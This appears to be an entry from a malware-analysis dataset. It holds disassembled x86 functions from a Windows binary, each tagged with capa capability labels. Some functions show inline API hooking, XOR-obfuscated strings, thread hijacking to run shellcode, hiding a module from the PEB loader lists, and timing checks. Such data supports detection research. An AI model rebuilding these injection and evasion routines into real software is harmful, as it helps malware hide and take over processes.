joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10060700
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
mov edx, 0x19
push 0xffffffffffffffff
push 0x10092cd8
push eax
mov dword fs:[0], esp
sub esp, 0x38
xor ecx, ecx
mov al, byte [ecx + str.rlqklsUCQPPV]
xor al, dl
mov byte [ebp + ecx - 0x33], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xe
jb 0x10060722
mov byte [ebp - 0x25], 0
mov edx, 0x12
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.uwezbk7wp]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xb
jb 0x10060750
push esi
push edi
lea eax, [ebp - 0x33]
mov byte [ebp - 0x19], 0
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x2b], 0
xorps xmm0, xmm0
movq qword [ebp - 0x24], xmm0
movq qword [ebp - 0x33], xmm0
mov word [ebp - 0x27], 0
mov byte [ebp - 0x25], 0
test edi, edi
je 0x100607e3
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [edi + 5]
mov dword [0x101da604], eax
lea eax, [ebp - 0x10]
push eax
push 0x40
push 5
push edi
call esi
mov eax, 0x100606f0
mov byte [edi], 0xe9
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push 5
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101daa00]
cmp eax, 0x927c0
jb 0x100607ff
call esi
mov dword [0x101daa00], eax
cmp dword [0x101d36f8], 0
pop edi
pop esi
je 0x10060893
push 0
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 1
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x40], 0
push eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x24]
mov eax, dword [0x101d3708]
mov edx, dword [0x101d36fc]
mov dword [0x101d370c], eax
call fcn.10060440
test al, al
je 0x10060882
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x20]
je 0x10060882
lea ecx, [ebp - 0x24]
call fcn.100608b0
push dword [ebp - 0x14]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea ecx, [ebp - 0x24]
call fcn.10060ca0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10060f30
Capabilities:
Encode data using xor
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10092cf8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
push esi
push 0x94
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.10070060
add esp, 0xc
mov dword [ebp - 0x128], 0x94
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x60]
mov dword [ebp - 0x60], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x58]
mov ecx, esi
mov edx, dword [ebp - 0x54]
mov eax, edx
shrd ecx, eax, 0x14
shr eax, 0x14
sub esi, dword [ebp - 0x50]
push ecx
sbb edx, dword [ebp - 0x4c]
xor ecx, ecx
shrd esi, edx, 0x14
push esi
push dword [ebp - 0x11c]
shr edx, 0x14
push dword [ebp - 0x120]
push dword [ebp - 0x124]
push str.1.8.0
call fcn.100646a0
push eax
push 0
push 0x101ce6e8
call fcn.1005c160
add esp, 0x24
mov edx, 0x3b
xor ecx, ecx
mov al, byte [ecx + str._tL_7_0_r_egm:]
xor al, dl
mov byte [ebp + ecx - 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10060fe2
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0
call fcn.100637d0
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push 0x101ce6e8
call fcn.1005c160
add esp, 0x10
mov edx, 0x72
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + str.____25_Z]
xor cl, dl
mov byte [ebp + eax - 0x90], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x2f
jb 0x10061030
push dword [0x101d37ac]
lea eax, [ebp - 0x90]
mov byte [ebp - 0x61], 0
push dword [0x101d37a8]
push eax
push 0
push 0x101ce6e8
call fcn.1005c160
mov ecx, dword [ebp - 0xc]
add esp, 0x14
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100618e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x18], 0
je 0x10061a42
lea eax, [esp + 0x50]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
lea eax, [esp + 0x14]
push eax
push dword [ebx + 4]
mov dword [esp + 0x18], esi
call dword [sym.imp.USER32.dll_GetClientRect]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x18]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebx + 0x14]
mov esi, eax
push dword [ebx + 0x10]
push 0
push 0
push dword [esp + 0x30]
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [ebx + 0x20], 1
jne 0x10061a34
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
mov edi, dword [esp + 0x10]
push eax
push edi
call esi
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
push dword [ebx + 0x120]
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esi, [ebx + 0x21]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100619c0
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, 0x3e
xor ecx, ecx
mov al, byte [ecx + str.P03__1fuxyk]
xor al, dl
mov byte [esp + ecx + 0x26], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x29
jb 0x100619e2
lea eax, [esp + 0x26]
mov byte [esp + 0x4f], 0
push eax
push esi
call fcn.1002c420
mov ecx, esi
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10061a12
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0xf
push eax
mov eax, dword [ebx + 0x10]
sub eax, 0xdc
push eax
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
lea eax, [esp + 0x50]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_EndPaint]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10061a90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
push dword [ebp + 0x18]
mov edi, dword [0x101da3d8]
mov esi, ecx
push 0xff
lea eax, [esi + 0x21]
mov byte [esi + 0x20], 1
push eax
call fcn.1007bce6
mov eax, dword [ebp + 0x1c]
add esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [esi + 0x120], eax
xor eax, eax
test ecx, ecx
jne 0x10061b12
mov edx, 0x73
nop
mov al, byte [ecx + 0x100acd2c]
xor al, dl
mov byte [ebp + ecx - 0x27], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x13
jb 0x10061ad0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x27]
mov byte [ebp - 0x14], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov dword [ebp - 0x17], 0
movups xmmword [ebp - 0x27], xmm0
jmp 0x10061bad
cmp ecx, 1
jne 0x10061b62
mov edx, 3
xor ecx, ecx
nop
mov al, byte [ecx + str.Ptigt_URd_Ln_pd]
xor al, dl
mov byte [ebp + ecx - 0x13], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x10061b20
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x13]
mov byte [ebp - 1], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 3], 0
movups xmmword [ebp - 0x13], xmm0
mov byte [ebp - 1], 0
jmp 0x10061bad
cmp ecx, 2
jne 0x10061bad
mov edx, 0xdf
xor ecx, ecx
nop
mov al, byte [ecx + 0x100acd5c]
xor al, dl
mov byte [ebp + ecx - 0x3b], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x13
jb 0x10061b70
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x28], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov dword [ebp - 0x2b], 0
movups xmmword [ebp - 0x3b], xmm0
push eax
mov ecx, esi
call fcn.10061d10
mov eax, dword [esi + 4]
mov dword [esi + 0xc], 0x808080
test eax, eax
je 0x10061bf6
cmp dword [0x101da794], 0
je 0x10061bf6
push 0xffffffffffffffec
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x101da794]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x10062870
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x40
push 8
push edi
movsd qword [ebp - 0xc], xmm2
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 8
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x100628c0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push edi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x12c], pe_nt_image_headers32
lea eax, [ebp - 0x12c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10062949
nop word [eax + eax]
push dword [ebp - 0x124]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10062937
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 0x124]
cmp ecx, eax
je 0x10062937
cmp ecx, dword [ebp + 8]
jne 0x10062937
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x12c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10062900
push edi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10062a20
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f0
mov edx, 0xd6
xor eax, eax
mov cl, byte [eax + 0x100acd94]
xor cl, dl
mov byte [ebp + eax - 0x13], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x10062a30
push esi
push 0x3f6f144f
lea ecx, [ebp - 0x1d]
mov byte [ebp - 1], 0
call fcn.10059300
lea ecx, [ebp - 0x13]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x15], 0
add esi, dword [ebp + 0x24]
lea eax, [ebp - 0x24]
push eax
push 0x40
xorps xmm0, xmm0
mov word [ebp - 3], 0
push 0x100
push esi
movq qword [ebp - 0x1d], xmm0
movups xmmword [ebp - 0x13], xmm0
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp + 0x20]
push 0
push dword [ebp + 0x18]
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 0x2f0]
push eax
push esi
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x240]
pop esi
mov esp, ebp
pop ebp
ret 0x20
Function at 0x10062b10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10062b49
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10062b4d
cmp edx, esi
jne 0x10062b32
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x10062b6d
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10062b71
cmp edx, esi
jne 0x10062b56
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x10062b91
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10062b95
cmp edx, esi
jne 0x10062b7a
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10062c20
Capabilities:
Encode data using xor
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
xor eax, eax
push ebx
mov ebx, ecx
mov ecx, 0xd6
push esi
push edi
mov dword [ebx + 0x10], 0
nop dword [eax]
mov dl, byte [eax + 0x100acd94]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x29], dl
inc eax
movzx ecx, cl
cmp eax, 0x12
jb 0x10062c40
push 0x3f6f144f
lea ecx, [ebp - 0x16]
mov byte [ebp - 0x17], 0
call fcn.10059300
lea ecx, [ebp - 0x29]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
add eax, 5
push 4
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
push 0x1c
mov dword [ebp - 0xc], esi
call fcn.10068935
mov edi, eax
add esp, 4
mov dword [edi], 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push edi
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
je 0x10062d08
mov eax, dword [edi + 8]
cmp eax, dword [ebp - 4]
je 0x10062cfc
push eax
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10062cf2
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [edi + 0xc], eax
jne 0x10062cf2
mov ecx, esi
call fcn.10062ba0
cmp eax, dword [ebp - 8]
jne 0x10062ceb
inc dword [ebx + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10062cb5
push 0x1c
push edi
call fcn.1006867d
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10062f90
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x5c
mov edx, 0xe4
xor eax, eax
push edi
mov cl, byte [eax + 0x100acddc]
xor cl, dl
mov byte [esp + eax + 0x20], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x10
jb 0x10062fa1
mov eax, str._._CC
mov byte [esp + 0x30], 0
sub eax, 0x69b76dfc
lea ecx, [esp + 0x17]
push eax
call fcn.10062db0
lea ecx, [esp + 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x40]
push 0
push 0x1e
xorps xmm0, xmm0
mov byte [esp + 0x27], 0
push ecx
push eax
movq qword [esp + 0x27], xmm0
movaps xmmword [esp + 0x30], xmm0
mov byte [esp + 0x40], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [esp + 0x10]
push eax
push 0x40
push 0x1e
push 0x10062f40
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1e
lea eax, [esp + 0x44]
push eax
push 0x10062f40
call fcn.1006fae0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push 0x1e
push 0x10062f40
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.10061310
test al, al
jne 0x10063080
nop dword [eax]
xorps xmm0, xmm0
movups xmmword [0x101daa2c], xmm0
movups xmmword [0x101daa3c], xmm0
jmp dword [pe_dos_header]
push 0
call edi
push eax
call 0x10062f40
add esp, 8
jmp dword [pe_dos_header]

Function at 0x100630a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea eax, [ebp - 4]
mov ebx, ecx
push eax
push 0x40
push 1
push ebx
mov esi, edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [esi]
mov byte [ebx], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100630e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp + 8]
cmp al, 0xff
je 0x10063100
mov byte [esi], al
mov eax, dword [ebp + 0x10]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10063120
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push ebx
push esi
push eax
push 0x40
push dword [ebp + 8]
mov ebx, ecx
mov esi, edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esi, ebx
mov byte [ebx], 0xe9
sub esi, 5
mov dword [ebx + 1], esi
mov esi, dword [ebp + 8]
cmp esi, 5
jbe 0x1006316a
push edi
lea ecx, [esi - 5]
mov eax, 0x90909090
mov edx, ecx
lea edi, [ebx + 5]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10063180
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, ecx
push edi
mov dword [ebp - 4], edx
call esi
mov edi, eax
mov dword [ebp - 8], edi
call esi
sub eax, edi
cmp eax, ebx
jae 0x100631be
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push dword [ebp - 4]
call edi
call esi
sub eax, dword [ebp - 8]
cmp eax, ebx
jb 0x100631b0
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100631d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10092d70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64c
mov eax, dword [0x100acdf0]
push ebx
mov dword [ebp - 0x18], eax
mov ebx, ecx
mov ax, word [0x100acdf4]
push esi
push edi
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x654]
push eax
push 0x3ff
mov dword [ebp - 0x34], edx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10063304
lea esi, [ebp - 0x654]
nop dword [eax + eax]
mov ax, word [esi]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x254]
push 0x104
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x100632f0
xor eax, eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], 0
mov word [ebp - 0x30], ax
cmp word [ebx], ax
je 0x10063282
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10063273
sub eax, edx
sar eax, 1
push eax
push ebx
lea ecx, [ebp - 0x30]
call fcn.10064cb0
mov dword [ebp - 4], 0
cmp word [ebp - 0x254], 0
jne 0x100632a1
xor ecx, ecx
jmp 0x100632bf
lea ecx, [ebp - 0x254]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100632b0
sub ecx, edx
sar ecx, 1
push ecx
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x30]
call fcn.10064a10
mov edi, eax
cmp edi, 0xffffffff
jne 0x10063317
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 8
jb 0x100632f0
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.10064dd0
nop
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x100632f0
cmp word [esi], ax
jne 0x10063230
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x4c]
call fcn.100648d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x30]
mov eax, dword [eax + 0x10]
push esi
inc eax
push eax
push edi
call fcn.10064830
mov eax, dword [ebp - 0x38]
cmp eax, 8
jb 0x1006334e
inc eax
lea ecx, [ebp - 0x4c]
push eax
push dword [ebp - 0x4c]
call fcn.10064dd0
cmp dword [ebp - 0x1c], 8
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
push 0x104
push dword [ebp - 0x34]
call fcn.1007cf73
mov eax, dword [ebp - 0x1c]
add esp, 0xc
cmp eax, 8
jb 0x1006337f
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.10064dd0
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10063400
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x10063490
cmp edx, 0x20
jb 0x1006347b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10063439
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x100ad760]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10063450
pop edi
cmp eax, edx
jge 0x10063490
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10063480
pop esi
pop ebx
pop ebp
ret

Function at 0x100634a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x10063530
cmp edx, 0x20
jb 0x1006351b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x100634d9
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x100ad760]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x100634f0
pop edi
cmp eax, edx
jge 0x10063530
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10063520
pop esi
pop ebx
pop ebp
ret

Function at 0x10063740
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
push esi
push edi
push 0x1f4
lea eax, [ebp - 0x1fc]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.10070060
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1fc]
push eax
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x100637a1
xor eax, eax
mov esp, ebp
pop ebp
ret
push 0x1f4
lea eax, [ebp - 0x1fc]
push 0
push eax
call fcn.10070060
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret